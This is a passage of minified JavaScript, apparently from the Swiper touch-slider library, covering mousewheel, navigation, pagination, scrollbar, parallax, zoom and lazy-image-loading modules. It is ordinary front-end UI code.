e&&(s=e.deltaX),(s||a)&&e.deltaMode&&(1===e.deltaMode?(s*=40,a*=40):(s*=800,a*=800)),s&&!t&&(t=s<1?-1:1),a&&!i&&(i=a<1?-1:1),{spinX:t,spinY:i,pixelX:s,pixelY:a}},handleMouseEnter:function(){this.mouseEntered=!0},handleMouseLeave:function(){this.mouseEntered=!1},handle:function(e){var i=e,s=this,a=s.params.mousewheel;if(!s.mouseEntered&&!a.releaseOnEdges)return!0;i.originalEvent&&(i=i.originalEvent);var r=0,n=s.rtlTranslate?-1:1,o=B.normalize(i);if(a.forceToAxis)if(s.isHorizontal()){if(!(Math.abs(o.pixelX)>Math.abs(o.pixelY)))return!0;r=o.pixelX*n}else{if(!(Math.abs(o.pixelY)>Math.abs(o.pixelX)))return!0;r=o.pixelY}else r=Math.abs(o.pixelX)>Math.abs(o.pixelY)?-o.pixelX*n:-o.pixelY;if(0===r)return!0;if(a.invert&&(r=-r),s.params.freeMode){s.params.loop&&s.loopFix();var l=s.getTranslate()+r*a.sensitivity,h=s.isBeginning,p=s.isEnd;if(l>=s.minTranslate()&&(l=s.minTranslate()),l<=s.maxTranslate()&&(l=s.maxTranslate()),s.setTransition(0),s.setTranslate(l),s.updateProgress(),s.updateActiveIndex(),s.updateSlidesClasses(),(!h&&s.isBeginning||!p&&s.isEnd)&&s.updateSlidesClasses(),s.params.freeModeSticky&&(clearTimeout(s.mousewheel.timeout),s.mousewheel.timeout=d.nextTick(function(){s.slideToClosest()},300)),s.emit("scroll",i),s.params.autoplay&&s.params.autoplayDisableOnInteraction&&s.stopAutoplay(),l===s.minTranslate()||l===s.maxTranslate())return!0}else{if(d.now()-s.mousewheel.lastScrollTime>60)if(r<0)if(s.isEnd&&!s.params.loop||s.animating){if(a.releaseOnEdges)return!0}else s.slideNext(),s.emit("scroll",i);else if(s.isBeginning&&!s.params.loop||s.animating){if(a.releaseOnEdges)return!0}else s.slidePrev(),s.emit("scroll",i);s.mousewheel.lastScrollTime=(new t.Date).getTime()}return i.preventDefault?i.preventDefault():i.returnValue=!1,!1},enable:function(){if(!B.event)return!1;if(this.mousewheel.enabled)return!1;var e=this.$el;return"container"!==this.params.mousewheel.eventsTarged&&(e=s(this.params.mousewheel.eventsTarged)),e.on("mouseenter",this.mousewheel.handleMouseEnter),e.on("mouseleave",this.mousewheel.handleMouseLeave),e.on(B.event,this.mousewheel.handle),this.mousewheel.enabled=!0,!0},disable:function(){if(!B.event)return!1;if(!this.mousewheel.enabled)return!1;var e=this.$el;return"container"!==this.params.mousewheel.eventsTarged&&(e=s(this.params.mousewheel.eventsTarged)),e.off(B.event,this.mousewheel.handle),this.mousewheel.enabled=!1,!0}},X={update:function(){var e=this.params.navigation;if(!this.params.loop){var t=this.navigation,i=t.$nextEl,s=t.$prevEl;s&&s.length>0&&(this.isBeginning?s.addClass(e.disabledClass):s.removeClass(e.disabledClass),s[this.params.watchOverflow&&this.isLocked?"addClass":"removeClass"](e.lockClass)),i&&i.length>0&&(this.isEnd?i.addClass(e.disabledClass):i.removeClass(e.disabledClass),i[this.params.watchOverflow&&this.isLocked?"addClass":"removeClass"](e.lockClass))}},init:function(){var e,t,i=this,a=i.params.navigation;(a.nextEl||a.prevEl)&&(a.nextEl&&(e=s(a.nextEl),i.params.uniqueNavElements&&"string"==typeof a.nextEl&&e.length>1&&1===i.$el.find(a.nextEl).length&&(e=i.$el.find(a.nextEl))),a.prevEl&&(t=s(a.prevEl),i.params.uniqueNavElements&&"string"==typeof a.prevEl&&t.length>1&&1===i.$el.find(a.prevEl).length&&(t=i.$el.find(a.prevEl))),e&&e.length>0&&e.on("click",function(e){e.preventDefault(),i.isEnd&&!i.params.loop||i.slideNext()}),t&&t.length>0&&t.on("click",function(e){e.preventDefault(),i.isBeginning&&!i.params.loop||i.slidePrev()}),d.extend(i.navigation,{$nextEl:e,nextEl:e&&e[0],$prevEl:t,prevEl:t&&t[0]}))},destroy:function(){var e=this.navigation,t=e.$nextEl,i=e.$prevEl;t&&t.length&&(t.off("click"),t.removeClass(this.params.navigation.disabledClass)),i&&i.length&&(i.off("click"),i.removeClass(this.params.navigation.disabledClass))}},Y={update:function(){var e=this.rtl,t=this.params.pagination;if(t.el&&this.pagination.el&&this.pagination.$el&&0!==this.pagination.$el.length){var i,a=this.virtual&&this.params.virtual.enabled?this.virtual.slides.length:this.slides.length,r=this.pagination.$el,n=this.params.loop?Math.ceil((a-2*this.loopedSlides)/this.params.slidesPerGroup):this.snapGrid.length;if(this.params.loop?((i=Math.ceil((this.activeIndex-this.loopedSlides)/this.params.slidesPerGroup))>a-1-2*this.loopedSlides&&(i-=a-2*this.loopedSlides),i>n-1&&(i-=n),i<0&&"bullets"!==this.params.paginationType&&(i=n+i)):i=void 0!==this.snapIndex?this.snapIndex:this.activeIndex||0,"bullets"===t.type&&this.pagination.bullets&&this.pagination.bullets.length>0){var o,l,d,h=this.pagination.bullets;if(t.dynamicBullets&&(this.pagination.bulletSize=h.eq(0)[this.isHorizontal()?"outerWidth":"outerHeight"](!0),r.css(this.isHorizontal()?"width":"height",this.pagination.bulletSize*(t.dynamicMainBullets+4)+"px"),t.dynamicMainBullets>1&&void 0!==this.previousIndex&&(this.pagination.dynamicBulletIndex+=i-this.previousIndex,this.pagination.dynamicBulletIndex>t.dynamicMainBullets-1?this.pagination.dynamicBulletIndex=t.dynamicMainBullets-1:this.pagination.dynamicBulletIndex<0&&(this.pagination.dynamicBulletIndex=0)),o=i-this.pagination.dynamicBulletIndex,d=((l=o+(Math.min(h.length,t.dynamicMainBullets)-1))+o)/2),h.removeClass(t.bulletActiveClass+" "+t.bulletActiveClass+"-next "+t.bulletActiveClass+"-next-next "+t.bulletActiveClass+"-prev "+t.bulletActiveClass+"-prev-prev "+t.bulletActiveClass+"-main"),r.length>1)h.each(function(e,a){var r=s(a),n=r.index();n===i&&r.addClass(t.bulletActiveClass),t.dynamicBullets&&(n>=o&&n<=l&&r.addClass(t.bulletActiveClass+"-main"),n===o&&r.prev().addClass(t.bulletActiveClass+"-prev").prev().addClass(t.bulletActiveClass+"-prev-prev"),n===l&&r.next().addClass(t.bulletActiveClass+"-next").next().addClass(t.bulletActiveClass+"-next-next"))});else if(h.eq(i).addClass(t.bulletActiveClass),t.dynamicBullets){for(var p=h.eq(o),c=h.eq(l),u=o;u<=l;u+=1)h.eq(u).addClass(t.bulletActiveClass+"-main");p.prev().addClass(t.bulletActiveClass+"-prev").prev().addClass(t.bulletActiveClass+"-prev-prev"),c.next().addClass(t.bulletActiveClass+"-next").next().addClass(t.bulletActiveClass+"-next-next")}if(t.dynamicBullets){var v=Math.min(h.length,t.dynamicMainBullets+4),f=(this.pagination.bulletSize*v-this.pagination.bulletSize)/2-d*this.pagination.bulletSize,m=e?"right":"left";h.css(this.isHorizontal()?m:"top",f+"px")}}if("fraction"===t.type&&(r.find("."+t.currentClass).text(i+1),r.find("."+t.totalClass).text(n)),"progressbar"===t.type){var g;g=t.progressbarOpposite?this.isHorizontal()?"vertical":"horizontal":this.isHorizontal()?"horizontal":"vertical";var b=(i+1)/n,w=1,y=1;"horizontal"===g?w=b:y=b,r.find("."+t.progressbarFillClass).transform("translate3d(0,0,0) scaleX("+w+") scaleY("+y+")").transition(this.params.speed)}"custom"===t.type&&t.renderCustom?(r.html(t.renderCustom(this,i+1,n)),this.emit("paginationRender",this,r[0])):this.emit("paginationUpdate",this,r[0]),r[this.params.watchOverflow&&this.isLocked?"addClass":"removeClass"](t.lockClass)}},render:function(){var e=this.params.pagination;if(e.el&&this.pagination.el&&this.pagination.$el&&0!==this.pagination.$el.length){var t=this.virtual&&this.params.virtual.enabled?this.virtual.slides.length:this.slides.length,i=this.pagination.$el,s="";if("bullets"===e.type){for(var a=this.params.loop?Math.ceil((t-2*this.loopedSlides)/this.params.slidesPerGroup):this.snapGrid.length,r=0;r<a;r+=1)e.renderBullet?s+=e.renderBullet.call(this,r,e.bulletClass):s+="<"+e.bulletElement+' class="'+e.bulletClass+'"></'+e.bulletElement+">";i.html(s),this.pagination.bullets=i.find("."+e.bulletClass)}"fraction"===e.type&&(s=e.renderFraction?e.renderFraction.call(this,e.currentClass,e.totalClass):'<span class="'+e.currentClass+'"></span> / <span class="'+e.totalClass+'"></span>',i.html(s)),"progressbar"===e.type&&(s=e.renderProgressbar?e.renderProgressbar.call(this,e.progressbarFillClass):'<span class="'+e.progressbarFillClass+'"></span>',i.html(s)),"custom"!==e.type&&this.emit("paginationRender",this.pagination.$el[0])}},init:function(){var e=this,t=e.params.pagination;if(t.el){var i=s(t.el);0!==i.length&&(e.params.uniqueNavElements&&"string"==typeof t.el&&i.length>1&&1===e.$el.find(t.el).length&&(i=e.$el.find(t.el)),"bullets"===t.type&&t.clickable&&i.addClass(t.clickableClass),i.addClass(t.modifierClass+t.type),"bullets"===t.type&&t.dynamicBullets&&(i.addClass(""+t.modifierClass+t.type+"-dynamic"),e.pagination.dynamicBulletIndex=0,t.dynamicMainBullets<1&&(t.dynamicMainBullets=1)),"progressbar"===t.type&&t.progressbarOpposite&&i.addClass(t.progressbarOppositeClass),t.clickable&&i.on("click","."+t.bulletClass,function(t){t.preventDefault();var i=s(this).index()*e.params.slidesPerGroup;e.params.loop&&(i+=e.loopedSlides),e.slideTo(i)}),d.extend(e.pagination,{$el:i,el:i[0]}))}},destroy:function(){var e=this.params.pagination;if(e.el&&this.pagination.el&&this.pagination.$el&&0!==this.pagination.$el.length){var t=this.pagination.$el;t.removeClass(e.hiddenClass),t.removeClass(e.modifierClass+e.type),this.pagination.bullets&&this.pagination.bullets.removeClass(e.bulletActiveClass),e.clickable&&t.off("click","."+e.bulletClass)}}},V={setTranslate:function(){if(this.params.scrollbar.el&&this.scrollbar.el){var e=this.scrollbar,t=this.rtlTranslate,i=this.progress,s=e.dragSize,a=e.trackSize,r=e.$dragEl,n=e.$el,o=this.params.scrollbar,l=s,d=(a-s)*i;t?(d=-d)>0?(l=s-d,d=0):-d+s>a&&(l=a+d):d<0?(l=s+d,d=0):d+s>a&&(l=a-d),this.isHorizontal()?(h.transforms3d?r.transform("translate3d("+d+"px, 0, 0)"):r.transform("translateX("+d+"px)"),r[0].style.width=l+"px"):(h.transforms3d?r.transform("translate3d(0px, "+d+"px, 0)"):r.transform("translateY("+d+"px)"),r[0].style.height=l+"px"),o.hide&&(clearTimeout(this.scrollbar.timeout),n[0].style.opacity=1,this.scrollbar.timeout=setTimeout(function(){n[0].style.opacity=0,n.transition(400)},1e3))}},setTransition:function(e){this.params.scrollbar.el&&this.scrollbar.el&&this.scrollbar.$dragEl.transition(e)},updateSize:function(){if(this.params.scrollbar.el&&this.scrollbar.el){var e=this.scrollbar,t=e.$dragEl,i=e.$el;t[0].style.width="",t[0].style.height="";var s,a=this.isHorizontal()?i[0].offsetWidth:i[0].offsetHeight,r=this.size/this.virtualSize,n=r*(a/this.size);s="auto"===this.params.scrollbar.dragSize?a*r:parseInt(this.params.scrollbar.dragSize,10),this.isHorizontal()?t[0].style.width=s+"px":t[0].style.height=s+"px",i[0].style.display=r>=1?"none":"",this.params.scrollbarHide&&(i[0].style.opacity=0),d.extend(e,{trackSize:a,divider:r,moveDivider:n,dragSize:s}),e.$el[this.params.watchOverflow&&this.isLocked?"addClass":"removeClass"](this.params.scrollbar.lockClass)}},setDragPosition:function(e){var t,i=this.scrollbar,s=this.rtlTranslate,a=i.$el,r=i.dragSize,n=i.trackSize;t=((this.isHorizontal()?"touchstart"===e.type||"touchmove"===e.type?e.targetTouches[0].pageX:e.pageX||e.clientX:"touchstart"===e.type||"touchmove"===e.type?e.targetTouches[0].pageY:e.pageY||e.clientY)-a.offset()[this.isHorizontal()?"left":"top"]-r/2)/(n-r),t=Math.max(Math.min(t,1),0),s&&(t=1-t);var o=this.minTranslate()+(this.maxTranslate()-this.minTranslate())*t;this.updateProgress(o),this.setTranslate(o),this.updateActiveIndex(),this.updateSlidesClasses()},onDragStart:function(e){var t=this.params.scrollbar,i=this.scrollbar,s=this.$wrapperEl,a=i.$el,r=i.$dragEl;this.scrollbar.isTouched=!0,e.preventDefault(),e.stopPropagation(),s.transition(100),r.transition(100),i.setDragPosition(e),clearTimeout(this.scrollbar.dragTimeout),a.transition(0),t.hide&&a.css("opacity",1),this.emit("scrollbarDragStart",e)},onDragMove:function(e){var t=this.scrollbar,i=this.$wrapperEl,s=t.$el,a=t.$dragEl;this.scrollbar.isTouched&&(e.preventDefault?e.preventDefault():e.returnValue=!1,t.setDragPosition(e),i.transition(0),s.transition(0),a.transition(0),this.emit("scrollbarDragMove",e))},onDragEnd:function(e){var t=this.params.scrollbar,i=this.scrollbar.$el;this.scrollbar.isTouched&&(this.scrollbar.isTouched=!1,t.hide&&(clearTimeout(this.scrollbar.dragTimeout),this.scrollbar.dragTimeout=d.nextTick(function(){i.css("opacity",0),i.transition(400)},1e3)),this.emit("scrollbarDragEnd",e),t.snapOnRelease&&this.slideToClosest())},enableDraggable:function(){if(this.params.scrollbar.el){var t=this.scrollbar,i=this.touchEvents,s=this.touchEventsDesktop,a=this.params,r=t.$el[0],n=!(!h.passiveListener||!a.passiveListener)&&{passive:!1,capture:!1},o=!(!h.passiveListener||!a.passiveListener)&&{passive:!0,capture:!1};h.touch||!h.pointerEvents&&!h.prefixedPointerEvents?(h.touch&&(r.addEventListener(i.start,this.scrollbar.onDragStart,n),r.addEventListener(i.move,this.scrollbar.onDragMove,n),r.addEventListener(i.end,this.scrollbar.onDragEnd,o)),(a.simulateTouch&&!y.ios&&!y.android||a.simulateTouch&&!h.touch&&y.ios)&&(r.addEventListener("mousedown",this.scrollbar.onDragStart,n),e.addEventListener("mousemove",this.scrollbar.onDragMove,n),e.addEventListener("mouseup",this.scrollbar.onDragEnd,o))):(r.addEventListener(s.start,this.scrollbar.onDragStart,n),e.addEventListener(s.move,this.scrollbar.onDragMove,n),e.addEventListener(s.end,this.scrollbar.onDragEnd,o))}},disableDraggable:function(){if(this.params.scrollbar.el){var t=this.scrollbar,i=this.touchEvents,s=this.touchEventsDesktop,a=this.params,r=t.$el[0],n=!(!h.passiveListener||!a.passiveListener)&&{passive:!1,capture:!1},o=!(!h.passiveListener||!a.passiveListener)&&{passive:!0,capture:!1};h.touch||!h.pointerEvents&&!h.prefixedPointerEvents?(h.touch&&(r.removeEventListener(i.start,this.scrollbar.onDragStart,n),r.removeEventListener(i.move,this.scrollbar.onDragMove,n),r.removeEventListener(i.end,this.scrollbar.onDragEnd,o)),(a.simulateTouch&&!y.ios&&!y.android||a.simulateTouch&&!h.touch&&y.ios)&&(r.removeEventListener("mousedown",this.scrollbar.onDragStart,n),e.removeEventListener("mousemove",this.scrollbar.onDragMove,n),e.removeEventListener("mouseup",this.scrollbar.onDragEnd,o))):(r.removeEventListener(s.start,this.scrollbar.onDragStart,n),e.removeEventListener(s.move,this.scrollbar.onDragMove,n),e.removeEventListener(s.end,this.scrollbar.onDragEnd,o))}},init:function(){if(this.params.scrollbar.el){var e=this.scrollbar,t=this.$el,i=this.params.scrollbar,a=s(i.el);this.params.uniqueNavElements&&"string"==typeof i.el&&a.length>1&&1===t.find(i.el).length&&(a=t.find(i.el));var r=a.find("."+this.params.scrollbar.dragClass);0===r.length&&(r=s('<div class="'+this.params.scrollbar.dragClass+'"></div>'),a.append(r)),d.extend(e,{$el:a,el:a[0],$dragEl:r,dragEl:r[0]}),i.draggable&&e.enableDraggable()}},destroy:function(){this.scrollbar.disableDraggable()}},R={setTransform:function(e,t){var i=this.rtl,a=s(e),r=i?-1:1,n=a.attr("data-swiper-parallax")||"0",o=a.attr("data-swiper-parallax-x"),l=a.attr("data-swiper-parallax-y"),d=a.attr("data-swiper-parallax-scale"),h=a.attr("data-swiper-parallax-opacity");if(o||l?(o=o||"0",l=l||"0"):this.isHorizontal()?(o=n,l="0"):(l=n,o="0"),o=o.indexOf("%")>=0?parseInt(o,10)*t*r+"%":o*t*r+"px",l=l.indexOf("%")>=0?parseInt(l,10)*t+"%":l*t+"px",void 0!==h&&null!==h){var p=h-(h-1)*(1-Math.abs(t));a[0].style.opacity=p}if(void 0===d||null===d)a.transform("translate3d("+o+", "+l+", 0px)");else{var c=d-(d-1)*(1-Math.abs(t));a.transform("translate3d("+o+", "+l+", 0px) scale("+c+")")}},setTranslate:function(){var e=this,t=e.$el,i=e.slides,a=e.progress,r=e.snapGrid;t.children("[data-swiper-parallax], [data-swiper-parallax-x], [data-swiper-parallax-y]").each(function(t,i){e.parallax.setTransform(i,a)}),i.each(function(t,i){var n=i.progress;e.params.slidesPerGroup>1&&"auto"!==e.params.slidesPerView&&(n+=Math.ceil(t/2)-a*(r.length-1)),n=Math.min(Math.max(n,-1),1),s(i).find("[data-swiper-parallax], [data-swiper-parallax-x], [data-swiper-parallax-y]").each(function(t,i){e.parallax.setTransform(i,n)})})},setTransition:function(e){void 0===e&&(e=this.params.speed);this.$el.find("[data-swiper-parallax], [data-swiper-parallax-x], [data-swiper-parallax-y]").each(function(t,i){var a=s(i),r=parseInt(a.attr("data-swiper-parallax-duration"),10)||e;0===e&&(r=0),a.transition(r)})}},F={getDistanceBetweenTouches:function(e){if(e.targetTouches.length<2)return 1;var t=e.targetTouches[0].pageX,i=e.targetTouches[0].pageY,s=e.targetTouches[1].pageX,a=e.targetTouches[1].pageY;return Math.sqrt(Math.pow(s-t,2)+Math.pow(a-i,2))},onGestureStart:function(e){var t=this.params.zoom,i=this.zoom,a=i.gesture;if(i.fakeGestureTouched=!1,i.fakeGestureMoved=!1,!h.gestures){if("touchstart"!==e.type||"touchstart"===e.type&&e.targetTouches.length<2)return;i.fakeGestureTouched=!0,a.scaleStart=F.getDistanceBetweenTouches(e)}a.$slideEl&&a.$slideEl.length||(a.$slideEl=s(e.target).closest(".swiper-slide"),0===a.$slideEl.length&&(a.$slideEl=this.slides.eq(this.activeIndex)),a.$imageEl=a.$slideEl.find("img, svg, canvas"),a.$imageWrapEl=a.$imageEl.parent("."+t.containerClass),a.maxRatio=a.$imageWrapEl.attr("data-swiper-zoom")||t.maxRatio,0!==a.$imageWrapEl.length)?(a.$imageEl.transition(0),this.zoom.isScaling=!0):a.$imageEl=void 0},onGestureChange:function(e){var t=this.params.zoom,i=this.zoom,s=i.gesture;if(!h.gestures){if("touchmove"!==e.type||"touchmove"===e.type&&e.targetTouches.length<2)return;i.fakeGestureMoved=!0,s.scaleMove=F.getDistanceBetweenTouches(e)}s.$imageEl&&0!==s.$imageEl.length&&(h.gestures?this.zoom.scale=e.scale*i.currentScale:i.scale=s.scaleMove/s.scaleStart*i.currentScale,i.scale>s.maxRatio&&(i.scale=s.maxRatio-1+Math.pow(i.scale-s.maxRatio+1,.5)),i.scale<t.minRatio&&(i.scale=t.minRatio+1-Math.pow(t.minRatio-i.scale+1,.5)),s.$imageEl.transform("translate3d(0,0,0) scale("+i.scale+")"))},onGestureEnd:function(e){var t=this.params.zoom,i=this.zoom,s=i.gesture;if(!h.gestures){if(!i.fakeGestureTouched||!i.fakeGestureMoved)return;if("touchend"!==e.type||"touchend"===e.type&&e.changedTouches.length<2&&!y.android)return;i.fakeGestureTouched=!1,i.fakeGestureMoved=!1}s.$imageEl&&0!==s.$imageEl.length&&(i.scale=Math.max(Math.min(i.scale,s.maxRatio),t.minRatio),s.$imageEl.transition(this.params.speed).transform("translate3d(0,0,0) scale("+i.scale+")"),i.currentScale=i.scale,i.isScaling=!1,1===i.scale&&(s.$slideEl=void 0))},onTouchStart:function(e){var t=this.zoom,i=t.gesture,s=t.image;i.$imageEl&&0!==i.$imageEl.length&&(s.isTouched||(y.android&&e.preventDefault(),s.isTouched=!0,s.touchesStart.x="touchstart"===e.type?e.targetTouches[0].pageX:e.pageX,s.touchesStart.y="touchstart"===e.type?e.targetTouches[0].pageY:e.pageY))},onTouchMove:function(e){var t=this.zoom,i=t.gesture,s=t.image,a=t.velocity;if(i.$imageEl&&0!==i.$imageEl.length&&(this.allowClick=!1,s.isTouched&&i.$slideEl)){s.isMoved||(s.width=i.$imageEl[0].offsetWidth,s.height=i.$imageEl[0].offsetHeight,s.startX=d.getTranslate(i.$imageWrapEl[0],"x")||0,s.startY=d.getTranslate(i.$imageWrapEl[0],"y")||0,i.slideWidth=i.$slideEl[0].offsetWidth,i.slideHeight=i.$slideEl[0].offsetHeight,i.$imageWrapEl.transition(0),this.rtl&&(s.startX=-s.startX,s.startY=-s.startY));var r=s.width*t.scale,n=s.height*t.scale;if(!(r<i.slideWidth&&n<i.slideHeight)){if(s.minX=Math.min(i.slideWidth/2-r/2,0),s.maxX=-s.minX,s.minY=Math.min(i.slideHeight/2-n/2,0),s.maxY=-s.minY,s.touchesCurrent.x="touchmove"===e.type?e.targetTouches[0].pageX:e.pageX,s.touchesCurrent.y="touchmove"===e.type?e.targetTouches[0].pageY:e.pageY,!s.isMoved&&!t.isScaling){if(this.isHorizontal()&&(Math.floor(s.minX)===Math.floor(s.startX)&&s.touchesCurrent.x<s.touchesStart.x||Math.floor(s.maxX)===Math.floor(s.startX)&&s.touchesCurrent.x>s.touchesStart.x))return void(s.isTouched=!1);if(!this.isHorizontal()&&(Math.floor(s.minY)===Math.floor(s.startY)&&s.touchesCurrent.y<s.touchesStart.y||Math.floor(s.maxY)===Math.floor(s.startY)&&s.touchesCurrent.y>s.touchesStart.y))return void(s.isTouched=!1)}e.preventDefault(),e.stopPropagation(),s.isMoved=!0,s.currentX=s.touchesCurrent.x-s.touchesStart.x+s.startX,s.currentY=s.touchesCurrent.y-s.touchesStart.y+s.startY,s.currentX<s.minX&&(s.currentX=s.minX+1-Math.pow(s.minX-s.currentX+1,.8)),s.currentX>s.maxX&&(s.currentX=s.maxX-1+Math.pow(s.currentX-s.maxX+1,.8)),s.currentY<s.minY&&(s.currentY=s.minY+1-Math.pow(s.minY-s.currentY+1,.8)),s.currentY>s.maxY&&(s.currentY=s.maxY-1+Math.pow(s.currentY-s.maxY+1,.8)),a.prevPositionX||(a.prevPositionX=s.touchesCurrent.x),a.prevPositionY||(a.prevPositionY=s.touchesCurrent.y),a.prevTime||(a.prevTime=Date.now()),a.x=(s.touchesCurrent.x-a.prevPositionX)/(Date.now()-a.prevTime)/2,a.y=(s.touchesCurrent.y-a.prevPositionY)/(Date.now()-a.prevTime)/2,Math.abs(s.touchesCurrent.x-a.prevPositionX)<2&&(a.x=0),Math.abs(s.touchesCurrent.y-a.prevPositionY)<2&&(a.y=0),a.prevPositionX=s.touchesCurrent.x,a.prevPositionY=s.touchesCurrent.y,a.prevTime=Date.now(),i.$imageWrapEl.transform("translate3d("+s.currentX+"px, "+s.currentY+"px,0)")}}},onTouchEnd:function(){var e=this.zoom,t=e.gesture,i=e.image,s=e.velocity;if(t.$imageEl&&0!==t.$imageEl.length){if(!i.isTouched||!i.isMoved)return i.isTouched=!1,void(i.isMoved=!1);i.isTouched=!1,i.isMoved=!1;var a=300,r=300,n=s.x*a,o=i.currentX+n,l=s.y*r,d=i.currentY+l;0!==s.x&&(a=Math.abs((o-i.currentX)/s.x)),0!==s.y&&(r=Math.abs((d-i.currentY)/s.y));var h=Math.max(a,r);i.currentX=o,i.currentY=d;var p=i.width*e.scale,c=i.height*e.scale;i.minX=Math.min(t.slideWidth/2-p/2,0),i.maxX=-i.minX,i.minY=Math.min(t.slideHeight/2-c/2,0),i.maxY=-i.minY,i.currentX=Math.max(Math.min(i.currentX,i.maxX),i.minX),i.currentY=Math.max(Math.min(i.currentY,i.maxY),i.minY),t.$imageWrapEl.transition(h).transform("translate3d("+i.currentX+"px, "+i.currentY+"px,0)")}},onTransitionEnd:function(){var e=this.zoom,t=e.gesture;t.$slideEl&&this.previousIndex!==this.activeIndex&&(t.$imageEl.transform("translate3d(0,0,0) scale(1)"),t.$imageWrapEl.transform("translate3d(0,0,0)"),t.$slideEl=void 0,t.$imageEl=void 0,t.$imageWrapEl=void 0,e.scale=1,e.currentScale=1)},toggle:function(e){var t=this.zoom;t.scale&&1!==t.scale?t.out():t.in(e)},in:function(e){var t,i,a,r,n,o,l,d,h,p,c,u,v,f,m,g,b=this.zoom,w=this.params.zoom,y=b.gesture,x=b.image;(y.$slideEl||(y.$slideEl=this.clickedSlide?s(this.clickedSlide):this.slides.eq(this.activeIndex),y.$imageEl=y.$slideEl.find("img, svg, canvas"),y.$imageWrapEl=y.$imageEl.parent("."+w.containerClass)),y.$imageEl&&0!==y.$imageEl.length)&&(y.$slideEl.addClass(""+w.zoomedSlideClass),void 0===x.touchesStart.x&&e?(t="touchend"===e.type?e.changedTouches[0].pageX:e.pageX,i="touchend"===e.type?e.changedTouches[0].pageY:e.pageY):(t=x.touchesStart.x,i=x.touchesStart.y),b.scale=y.$imageWrapEl.attr("data-swiper-zoom")||w.maxRatio,b.currentScale=y.$imageWrapEl.attr("data-swiper-zoom")||w.maxRatio,e?(m=y.$slideEl[0].offsetWidth,g=y.$slideEl[0].offsetHeight,a=y.$slideEl.offset().left+m/2-t,r=y.$slideEl.offset().top+g/2-i,l=y.$imageEl[0].offsetWidth,d=y.$imageEl[0].offsetHeight,h=l*b.scale,p=d*b.scale,v=-(c=Math.min(m/2-h/2,0)),f=-(u=Math.min(g/2-p/2,0)),n=a*b.scale,o=r*b.scale,n<c&&(n=c),n>v&&(n=v),o<u&&(o=u),o>f&&(o=f)):(n=0,o=0),y.$imageWrapEl.transition(300).transform("translate3d("+n+"px, "+o+"px,0)"),y.$imageEl.transition(300).transform("translate3d(0,0,0) scale("+b.scale+")"))},out:function(){var e=this.zoom,t=this.params.zoom,i=e.gesture;i.$slideEl||(i.$slideEl=this.clickedSlide?s(this.clickedSlide):this.slides.eq(this.activeIndex),i.$imageEl=i.$slideEl.find("img, svg, canvas"),i.$imageWrapEl=i.$imageEl.parent("."+t.containerClass)),i.$imageEl&&0!==i.$imageEl.length&&(e.scale=1,e.currentScale=1,i.$imageWrapEl.transition(300).transform("translate3d(0,0,0)"),i.$imageEl.transition(300).transform("translate3d(0,0,0) scale(1)"),i.$slideEl.removeClass(""+t.zoomedSlideClass),i.$slideEl=void 0)},enable:function(){var e=this.zoom;if(!e.enabled){e.enabled=!0;var t=!("touchstart"!==this.touchEvents.start||!h.passiveListener||!this.params.passiveListeners)&&{passive:!0,capture:!1};h.gestures?(this.$wrapperEl.on("gesturestart",".swiper-slide",e.onGestureStart,t),this.$wrapperEl.on("gesturechange",".swiper-slide",e.onGestureChange,t),this.$wrapperEl.on("gestureend",".swiper-slide",e.onGestureEnd,t)):"touchstart"===this.touchEvents.start&&(this.$wrapperEl.on(this.touchEvents.start,".swiper-slide",e.onGestureStart,t),this.$wrapperEl.on(this.touchEvents.move,".swiper-slide",e.onGestureChange,t),this.$wrapperEl.on(this.touchEvents.end,".swiper-slide",e.onGestureEnd,t)),this.$wrapperEl.on(this.touchEvents.move,"."+this.params.zoom.containerClass,e.onTouchMove)}},disable:function(){var e=this.zoom;if(e.enabled){this.zoom.enabled=!1;var t=!("touchstart"!==this.touchEvents.start||!h.passiveListener||!this.params.passiveListeners)&&{passive:!0,capture:!1};h.gestures?(this.$wrapperEl.off("gesturestart",".swiper-slide",e.onGestureStart,t),this.$wrapperEl.off("gesturechange",".swiper-slide",e.onGestureChange,t),this.$wrapperEl.off("gestureend",".swiper-slide",e.onGestureEnd,t)):"touchstart"===this.touchEvents.start&&(this.$wrapperEl.off(this.touchEvents.start,".swiper-slide",e.onGestureStart,t),this.$wrapperEl.off(this.touchEvents.move,".swiper-slide",e.onGestureChange,t),this.$wrapperEl.off(this.touchEvents.end,".swiper-slide",e.onGestureEnd,t)),this.$wrapperEl.off(this.touchEvents.move,"."+this.params.zoom.containerClass,e.onTouchMove)}}},W={loadInSlide:function(e,t){void 0===t&&(t=!0);var i=this,a=i.params.lazy;if(void 0!==e&&0!==i.slides.length){var r=i.virtual&&i.params.virtual.enabled?i.$wrapperEl.children("."+i.params.slideClass+'[data-swiper-slide-index="'+e+'"]'):i.slides.eq(e),n=r.find("."+a.elementClass+":not(."+a.loadedClass+"):not(."+a.loadingClass+")");!r.hasClass(a.elementClass)||r.hasClass(a.loadedClass)||r.hasClass(a.loadingClass)||(n=n.add(r[0])),0!==n.length&&n.each(function(e,n){var o=s(n);o.addClass(a.loadingClass);var l=o.attr("data-background"),d=o.attr("data-src"),h=o.attr("data-srcset"),p=o.attr("data-sizes");i.loadImage(o[0],d||l,h,p,!1,function(){if(void 0!==i&&null!==i&&i&&(!i||i.params)&&!i.destroyed){if(l?(o.css("background-image",'url("'+l+'")'),o.removeAttr("data-background")):(h&&(o.attr("srcset",h),o.removeAttr("data-srcset")),p&&(o.attr("sizes",p),o.removeAttr("data-sizes")),d&&(o.attr("src",d),o.removeAttr("data-src"))),o.addClass(a.loadedClass).removeClass(a.loadingClass),r.find("."+a.preloaderClass).remove(),i.params.loop&&t){var e=r.attr("data-swiper-slide-index");if(r.hasClass(i.params.slideDuplicateClass)){var s=i.$wrapperEl.children('[data-swiper-slide-index="'+e+'"]:not(.'+i.params.slideDuplicateClass+")");i.lazy.loadInSlide(s.index(),!1)}else{var n=i.$wrapperEl.children("."+i.params.slideDuplicateClass+'[data-swiper-slide-index="'+e+'"]');i.lazy.loadInSlide(n.index(),!1)}}i.emit("lazyImageReady",r[0],o[0])}}),i.emit("lazyImageLoad",r[0],o[0])})}},load:function(){var e=this,t=e.$wrapperEl,i=e.params,a=e.slides,r=e.activeIndex,n=e.virtual&&i.virtual.enabled,o=i.lazy,l=i.slidesPerView;function d(e){if(n){if(t.children("."+i.slideClass+'[data-swiper-slide-index="'+e+'"]').length)return!0}else if(a[e])return!0;return!1}function h(e){return 